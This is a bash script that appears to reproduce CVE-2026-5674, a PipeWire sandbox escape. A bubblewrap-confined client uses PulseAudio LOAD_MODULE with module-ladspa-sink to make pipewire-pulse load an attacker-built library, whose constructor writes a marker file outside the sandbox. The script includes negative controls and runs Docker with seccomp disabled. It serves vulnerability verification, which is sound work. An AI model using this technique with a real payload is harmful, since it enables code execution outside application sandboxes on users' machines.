#!/bin/bash
# CVE-2026-5674 - PipeWire sandbox escape via malicious library loading through
# the PulseAudio compatibility layer (pipewire-pulse LOAD_MODULE path).
#
# Reproduction model (per ticket):
#   * Real pipewire + pipewire-pulse daemons run on the "host".
#   * The attacker client runs inside a real bubblewrap sandbox with separate
#     mount and user namespaces (Flatpak-style confinement).
#   * The client can only reach the PulseAudio unix socket and a writable
#     host-visible shared directory containing a prebuilt attacker library.
#   * The host-only oracle directory is not visible/writable from the sandbox.
#   * The client triggers PulseAudio LOAD_MODULE (module-ladspa-sink with an
#     absolute plugin path); pipewire-pulse dlopen()s the attacker library and
#     its constructor writes a marker (live daemon PID + comm) into the
#     host-only oracle directory -> code execution OUTSIDE the sandbox.
#   * 2 vulnerable attempts against fresh daemons + 2 negative controls with
#     pulse.allow-module-loading=false (request denied, no marker).
#
# The hosting worker container blocks CLONE_NEWUSER/CLONE_NEWNS via seccomp
# even for root, so when user namespaces are unavailable locally this script
# re-executes itself inside a Docker container started with
# --security-opt seccomp=unconfined (the bubblewrap sandbox inside that
# container still uses genuine, separate mount and user namespaces).
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"

MAIN_LOG="$LOGS/reproduction_steps.log"
: > "$MAIN_LOG" 2>/dev/null || true
log(){ echo "[$(date +%H:%M:%S)] $*" | tee -a "$MAIN_LOG"; }

IMAGE="cve-2026-5674-repro:ubuntu26.04"
ART="$ROOT/artifacts/cve-2026-5674"
SHARED="$ART/shared"
ORACLE="$ART/oracle"

write_manifest(){
    local reached="$1" started="$2" health="$3" notes="$4"
    local files
    files=$(cd "$ROOT" && find logs -maxdepth 1 -type f 2>/dev/null | sort | jq -R . | jq -sc .)
    [ -n "$files" ] || files='[]'
    jq -n \
        --argjson reached "$reached" --argjson started "$started" --argjson health "$health" \
        --arg notes "$notes" --argjson artifacts "$files" \
        '{
          entrypoint_kind: "local_action",
          entrypoint_detail: "local Unix-domain PulseAudio compatibility socket via the public PulseAudio LOAD_MODULE path (pactl load-module module-ladspa-sink plugin=<abs path>) in the pipewire-pulse daemon; client confined in a bubblewrap mount+user namespace sandbox",
          service_started: $started,
          healthcheck_passed: $health,
          target_path_reached: $reached,
          runtime_stack: ["pipewire 1.6.2","pipewire-pulse 1.6.2","pulseaudio-utils pactl 17.0","bubblewrap"],
          proof_artifacts: $artifacts,
          notes: $notes
        }' > "$REPRO_DIR/runtime_manifest.json"
}

# ---------------------------------------------------------------------------
# Phase 0: build the prebuilt attacker-controlled library into the shared,
# host-visible location (done once, outside the sandbox, exactly like an
# attacker preparing a Flatpak payload), then decide the execution mode.
# ---------------------------------------------------------------------------
if [ "${1:-}" != "--inside" ]; then
    mkdir -p "$SHARED" "$ORACLE"
    cat > "$ART/evil.c" <<'EOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

__attribute__((constructor)) static void pwn(void)
{
    const char *oracle = getenv("ORACLE_PATH");
    char path[600], buf[300], comm[64] = {0};
    if (oracle == NULL) oracle = "/nonexistent-oracle";
    int cfd = open("/proc/self/comm", O_RDONLY);
    if (cfd >= 0) { ssize_t n = read(cfd, comm, sizeof(comm)-1); if (n > 0 && comm[n-1] == '\n') comm[n-1] = 0; close(cfd); }
    snprintf(path, sizeof(path), "%s/marker_%d.txt", oracle, getpid());
    int fd = open(path, O_CREAT|O_EXCL|O_WRONLY, 0644);
    if (fd >= 0) {
        int len = snprintf(buf, sizeof(buf),
            "CVE-2026-5674-PWNED pid=%d uid=%d comm=%s\n", getpid(), getuid(), comm);
        ssize_t w = write(fd, buf, len); (void)w;
        close(fd);
    }
}
EOF
    gcc -shared -fPIC -O2 -o "$SHARED/evil.so" "$ART/evil.c"
    log "attacker library prebuilt at $SHARED/evil.so"

    if unshare --user --map-root-user --mount true 2>/dev/null; then
        log "user+mount namespaces available directly; running experiment locally"
        exec bash "$0" --inside
    fi
    if ! command -v docker >/dev/null 2>&1; then
        log "FATAL: user namespaces blocked by container seccomp and docker unavailable"
        write_manifest false false false "infrastructure blocker: CLONE_NEWUSER blocked, no docker"
        exit 2
    fi
    log "user namespaces blocked by outer seccomp; re-entering via docker ($IMAGE)"
    mkdir -p "$ROOT/artifacts/docker"
    cat > "$ROOT/artifacts/docker/Dockerfile" <<'EOF'
FROM ubuntu:26.04
RUN apt-get update && DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
      pipewire pipewire-pulse pulseaudio-utils bubblewrap jq ca-certificates \
    && rm -rf /var/lib/apt/lists/*
USER ubuntu
ENV HOME=/home/ubuntu
EOF
    if ! docker build -t "$IMAGE" -f "$ROOT/artifacts/docker/Dockerfile" "$ROOT/artifacts/docker" >>"$MAIN_LOG" 2>&1; then
        log "FATAL: docker image build failed (see $MAIN_LOG)"
        write_manifest false false false "infrastructure blocker: docker image build failed"
        exit 2
    fi
    # Rootless docker maps the container user to a host subuid; make the
    # bundle writable for the remapped uid, and restore ownership afterwards.
    chmod -R a+rwX "$ROOT"
    set +e
    docker run --rm --security-opt seccomp=unconfined \
        -v "$ROOT:/bundle" -e PRUVA_ROOT=/bundle \
        "$IMAGE" bash /bundle/repro/reproduction_steps.sh --inside
    rc=$?
    set -e
    sudo chown -R "$(id -u):$(id -g)" "$ROOT" 2>/dev/null || chmod -R a+rwX "$ROOT" || true
    exit $rc
fi

# ---------------------------------------------------------------------------
# Phase 1 (--inside): real experiment. Runs as an unprivileged user.
# ---------------------------------------------------------------------------
log "inside experiment environment: id=$(id) kernel=$(uname -r)"
unshare --user --map-root-user --mount true 2>/dev/null \
    && log "user+mount namespace creation: OK" \
    || { log "FATAL: still cannot create user namespaces"; write_manifest false false false "userns unavailable inside experiment env"; exit 2; }

# Install dependencies when missing (direct local path only; docker image is prebuilt)
if ! command -v pipewire-pulse >/dev/null 2>&1; then
    log "installing pipewire packages via apt"
    sudo apt-get update -qq >>"$MAIN_LOG" 2>&1
    sudo DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
        pipewire pipewire-pulse pulseaudio-utils bubblewrap jq >>"$MAIN_LOG" 2>&1
fi
command -v bwrap >/dev/null || { log "FATAL: bwrap missing"; exit 2; }
[ -f "$SHARED/evil.so" ] || { log "FATAL: prebuilt attacker library missing"; exit 2; }
pipewire --version | tee -a "$MAIN_LOG"

RTBASE="$ART/rt"
CONF_VULN="$ART/conf-vuln"
CONF_FIXED="$ART/conf-fixed"
mkdir -p "$RTBASE" "$SHARED" "$ORACLE" "$CONF_VULN" "$CONF_FIXED"
chmod 700 "$RTBASE" 2>/dev/null || true  # may be owned by a remapped uid in docker mode

# --- daemon configs ---------------------------------------------------------
sed 's|#pulse.allow-module-loading = true|pulse.allow-module-loading = true|' \
    /usr/share/pipewire/pipewire-pulse.conf > "$CONF_VULN/pipewire-pulse.conf"
sed 's|#pulse.allow-module-loading = true|pulse.allow-module-loading = false|' \
    /usr/share/pipewire/pipewire-pulse.conf > "$CONF_FIXED/pipewire-pulse.conf"
grep -q 'pulse.allow-module-loading = false' "$CONF_FIXED/pipewire-pulse.conf"

# --- sandboxed attacker client ----------------------------------------------
cat > "$ART/client.sh" <<'EOF'
#!/bin/bash
# Runs INSIDE the bubblewrap sandbox. Args: ORACLE_PATH SHARED_DIR
ORACLE="$1"; SHARED="$2"
echo $$ > "$SHARED/client.pid"
sleep 2
echo "client: uid=$(id -u) user=$(id -un 2>/dev/null || echo '?') comm=$(cat /proc/self/comm)"
echo "client: ns mnt=$(readlink /proc/self/ns/mnt) user=$(readlink /proc/self/ns/user) pid=$(readlink /proc/self/ns/pid)"
if [ -e "$ORACLE" ]; then
    echo "client: ORACLE_PATH_VISIBLE (boundary breach!)"
else
    echo "client: ORACLE_PATH_NOT_VISIBLE (host-only oracle not visible from sandbox)"
fi
mkdir -p "$ORACLE" 2>/dev/null
if echo sandbox-probe > "$ORACLE/sandbox_probe.txt" 2>/dev/null; then
    echo "client: probe write appeared to succeed inside sandbox view"
else
    echo "client: probe write to oracle path failed inside sandbox"
fi
echo "client: issuing PulseAudio LOAD_MODULE module-ladspa-sink plugin=$SHARED/evil.so"
timeout 20 pactl load-module module-ladspa-sink sink_name=pwnsink plugin="$SHARED/evil.so" label=pwn 2>&1
echo "client: pactl_exit=$?"
EOF
chmod +x "$ART/client.sh"

PW_PID=""; PP_PID=""; RT_A=""
cleanup_daemons(){
    [ -n "$PP_PID" ] && kill "$PP_PID" 2>/dev/null || true
    [ -n "$PW_PID" ] && kill "$PW_PID" 2>/dev/null || true
    [ -n "$PP_PID" ] && wait "$PP_PID" 2>/dev/null || true
    [ -n "$PW_PID" ] && wait "$PW_PID" 2>/dev/null || true
    PP_PID=""; PW_PID=""
}
trap cleanup_daemons EXIT

start_daemons(){  # $1=confdir $2=tag
    local conf="$1" tag="$2"
    RT_A="$RTBASE/$tag"
    rm -rf "$RT_A"; mkdir -p "$RT_A"; chmod 700 "$RT_A"
    export XDG_RUNTIME_DIR="$RT_A"
    env XDG_RUNTIME_DIR="$RT_A" pipewire > "$LOGS/daemon_${tag}_pipewire.log" 2>&1 &
    PW_PID=$!
    local i
    for i in $(seq 1 75); do [ -S "$RT_A/pipewire-0" ] && break; sleep 0.2; done
    [ -S "$RT_A/pipewire-0" ] || { log "FATAL: pipewire core socket never appeared ($tag)"; return 1; }
    env XDG_RUNTIME_DIR="$RT_A" PIPEWIRE_CONFIG_DIR="$conf" ORACLE_PATH="$ORACLE" \
        pipewire-pulse > "$LOGS/daemon_${tag}_pulse.log" 2>&1 &
    PP_PID=$!
    for i in $(seq 1 75); do
        [ -S "$RT_A/pulse/native" ] && env XDG_RUNTIME_DIR="$RT_A" timeout 5 pactl info >/dev/null 2>&1 && break
        sleep 0.2
    done
    env XDG_RUNTIME_DIR="$RT_A" timeout 5 pactl info >/dev/null 2>&1 || {
        log "FATAL: pipewire-pulse not healthy ($tag)"; return 1; }
    kill -0 "$PP_PID" 2>/dev/null || { log "FATAL: pipewire-pulse died ($tag)"; return 1; }
    log "daemons up ($tag): pipewire pid=$PW_PID pipewire-pulse pid=$PP_PID comm=$(cat /proc/$PP_PID/comm)"
}

run_client(){  # $1=tag
    local tag="$1" i cpid
    rm -f "$SHARED/client.pid"
    # Note: --unshare-pid/--proc are unusable inside rootless docker (locked
    # procfs mounts); the ticket-required separation is mount+user namespaces,
    # which --unshare-user plus bwrap's mount namespace provide. /proc/self/ns
    # is bound read-only so the client can report its own namespace identity.
    bwrap --unshare-user --unshare-ipc --unshare-uts --unshare-cgroup \
        --die-with-parent --dev /dev --tmpfs /tmp \
        --ro-bind /usr /usr --ro-bind /bin /bin --ro-bind /lib /lib --ro-bind /lib64 /lib64 \
        --ro-bind /etc /etc \
        --ro-bind /proc/self/ns /proc/self/ns \
        --bind "$RT_A" "$RT_A" \
        --bind "$SHARED" "$SHARED" \
        --ro-bind "$ART/client.sh" "$ART/client.sh" \
        --setenv XDG_RUNTIME_DIR "$RT_A" --setenv HOME /nonexistent --setenv PATH /usr/bin:/bin \
        /bin/bash "$ART/client.sh" "$ORACLE" "$SHARED" > "$LOGS/client_${tag}.log" 2>&1 &
    local bp=$!
    for i in $(seq 1 50); do [ -s "$SHARED/client.pid" ] && break; sleep 0.1; done
    if [ -s "$SHARED/client.pid" ]; then
        cpid=$(cat "$SHARED/client.pid")
        { echo "host-observed sandboxed client: pid=$cpid comm=$(cat /proc/$cpid/comm 2>/dev/null)"
          echo "client ns (observed from host): mnt=$(readlink /proc/$cpid/ns/mnt 2>/dev/null) user=$(readlink /proc/$cpid/ns/user 2>/dev/null)"
        } > "$LOGS/ns_client_host_${tag}.txt"
    fi
    wait $bp
}

record_ns_evidence(){ # $1=tag
    local tag="$1"
    {
        echo "daemon(pipewire-pulse pid=$PP_PID): mnt=$(readlink /proc/$PP_PID/ns/mnt) user=$(readlink /proc/$PP_PID/ns/user) pid=$(readlink /proc/$PP_PID/ns/pid) comm=$(cat /proc/$PP_PID/comm)"
        grep -E '^client: (uid|ns)' "$LOGS/client_${tag}.log" || true
        cat "$LOGS/ns_client_host_${tag}.txt" 2>/dev/null || true
    } > "$LOGS/ns_evidence_${tag}.txt"
}

VULN_OK=0; FIXED_OK=0

# --- vulnerable attempts ------------------------------------------------------
for n in 1 2; do
    tag="vuln_attempt${n}"
    log "=== vulnerable attempt $n ==="
    rm -f "$ORACLE"/marker_*.txt "$ORACLE/sandbox_probe.txt"
    start_daemons "$CONF_VULN" "$tag"
    DAEMON_PID=$PP_PID
    DAEMON_USER_NS=$(readlink "/proc/$PP_PID/ns/user")
    run_client "$tag" || true
    sleep 1
    record_ns_evidence "$tag"
    MARKER="$ORACLE/marker_${DAEMON_PID}.txt"
    ok=1
    if [ -f "$MARKER" ]; then
        content=$(cat "$MARKER")
        log "marker present: $content"
        cp "$MARKER" "$LOGS/marker_${tag}.txt"
        if echo "$content" | grep -q "CVE-2026-5674-PWNED pid=${DAEMON_PID} " && \
           echo "$content" | grep -q "comm=pipewire-pulse"; then
            log "marker pid/comm match live daemon (pid=$DAEMON_PID comm=pipewire-pulse)"
        else
            log "marker content mismatch"; ok=0
        fi
    else
        log "NO marker for daemon pid $DAEMON_PID"; ls -la "$ORACLE" | tee -a "$MAIN_LOG"; ok=0
    fi
    # sandbox boundary checks
    grep -q "ORACLE_PATH_NOT_VISIBLE" "$LOGS/client_${tag}.log" \
        && log "client cannot see host-only oracle path: OK" || { log "boundary check failed (oracle visible?)"; ok=0; }
    [ ! -e "$ORACLE/sandbox_probe.txt" ] \
        && log "client probe write did not reach host oracle dir: OK" || { log "probe reached host!"; ok=0; }
    CLIENT_USER_NS=$(grep -oP 'user=user:\[\d+\]' "$LOGS/client_${tag}.log" | head -1)
    [ -n "$CLIENT_USER_NS" ] && [ "$CLIENT_USER_NS" != "user=user:${DAEMON_USER_NS#user:}" ] \
        && log "client runs in a different user namespace ($CLIENT_USER_NS vs daemon $DAEMON_USER_NS)" || { log "namespace separation check failed"; ok=0; }
    cleanup_daemons
    [ "$ok" = 1 ] && VULN_OK=$((VULN_OK+1)) && log "vulnerable attempt $n: SUCCESS" || log "vulnerable attempt $n: FAILED"
done

# --- negative-control attempts (pulse.allow-module-loading=false) -----------
for n in 1 2; do
    tag="fixed_attempt${n}"
    log "=== negative control attempt $n (pulse.allow-module-loading=false) ==="
    rm -f "$ORACLE"/marker_*.txt "$ORACLE/sandbox_probe.txt"
    start_daemons "$CONF_FIXED" "$tag"
    run_client "$tag" || true
    sleep 1
    record_ns_evidence "$tag"
    ok=1
    if grep -q "Failure: Access denied" "$LOGS/client_${tag}.log"; then
        log "LOAD_MODULE denied by daemon: OK"
    else
        log "expected 'Failure: Access denied' in client log"; cat "$LOGS/client_${tag}.log" | tee -a "$MAIN_LOG"; ok=0
    fi
    if ls "$ORACLE"/marker_*.txt >/dev/null 2>&1; then
        log "unexpected marker written during negative control!"; ok=0
    else
        log "no marker written during negative control: OK"
    fi
    # structured negative-control observation (daemon reached, marker absent)
    jq -n --arg pi "pipewire-pulse-${tag} (pid $PP_PID)" \
        --arg marker "CVE-2026-5674-PWNED pid=$PP_PID uid=$(id -u) comm=pipewire-pulse" \
        '{schema_version:1, process_instance:$pi, marker:$marker,
          target_path_reached:true, marker_present:false,
          detail:"same LOAD_MODULE request denied with pulse.allow-module-loading=false; no oracle marker created"}' \
        > "$LOGS/negative_control_obs_${tag}.json"
    cleanup_daemons
    [ "$ok" = 1 ] && FIXED_OK=$((FIXED_OK+1)) && log "negative control $n: SUCCESS" || log "negative control $n: FAILED"
done

log "RESULT: vuln_ok=$VULN_OK/2 fixed_ok=$FIXED_OK/2"

if [ "$VULN_OK" = 2 ] && [ "$FIXED_OK" = 2 ]; then
    write_manifest true true true "CVE-2026-5674 confirmed: sandboxed client loaded attacker library into out-of-sandbox pipewire-pulse via PulseAudio LOAD_MODULE (module-ladspa-sink absolute plugin path); 2/2 vulnerable attempts wrote host-only markers with live daemon pid/comm; 2/2 negative controls denied with allow-module-loading=false"
    log "CVE-2026-5674 CONFIRMED: sandbox escape with attacker-controlled code execution in host pipewire-pulse"
    exit 0
fi
write_manifest false true true "reproduction incomplete: vuln_ok=$VULN_OK fixed_ok=$FIXED_OK"
log "CVE-2026-5674 NOT confirmed"
exit 1
